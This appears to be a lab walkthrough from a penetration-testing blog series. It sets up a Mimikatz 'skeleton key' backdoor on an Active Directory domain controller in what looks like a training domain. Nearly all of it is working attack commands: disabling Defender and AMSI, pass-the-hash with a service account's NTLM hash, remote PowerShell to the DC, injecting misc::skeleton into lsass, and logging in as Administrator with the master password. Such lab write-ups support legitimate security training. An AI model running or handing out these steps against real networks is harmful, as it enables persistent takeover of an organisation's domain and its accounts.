Domain dominance, Skeleton key attack - Part 5

 

With domain admin privs we can patch the lsass process of the dc and that allows us to subvert the authentication mechanism that is once we injected our skeleton key inside the lsass, both the regular username and passwords and regular username and our own skeleton key as password would work just fine.

So we will be injecting skeleton key to the lsass so that we can access any resource with any valid username and skeleton key as the password.

The persistence duration is until reboot or the lsass process reboots. 

Please keep in mind once the skeleton attack is executed you cannot re-execute the attack unless the dc is been rebooted. If you found an error then assume that there is another attacker present on the environment who has already done this. 

Now go to your studentadmin machine where you are local admin. Launch a powershell session with admin privs.

Disable defender:

Set-MpPreference -DisableRealtimeMonitoring $true

. C:\AD\Tools\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /ntlm:<domain admin ntlm hash> /run:powershell.exe"'

Now another powershell session will open with domain admin privs. 

On that session type below:

$sess = New-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Enter-PSSession -Session $sess

Bypass amsi and disable defender there i mean in dc machine. Then exit.

Invoke-Command -FilePath C:\AD\Tools\Invoke-Mimikatz.ps1 -Session $sess

Enter-PSSession -Session $sess (Mimikatz will be loaded on the memory of dc now)

Now you are in domain controller machine with the privs of domain admin.

Now you can type the below command:

Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton" -ComputerName dcorp-dc.dollarcorp.moneycorp.local

or

Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"

Or you can follow this approach:

Now go to your studentadmin machine where you are local admin. Launch a powershell session with admin privs. 

Disable defender:

Set-MpPreference -DisableRealtimeMonitoring $true

. C:\AD\Tools\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /ntlm:<domain admin ntlm hash> /run:powershell.exe"'

Now another powershell session will open with domain admin privs.

From this shell type:

Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton" -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Both the above method will work just fine. 

Now from studentadmin non-admin powershell session type the following:

Enter-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Credential dcorp\Administrator

Once you give enter, it will ask you for a password. The password is mimikatz. 

Avi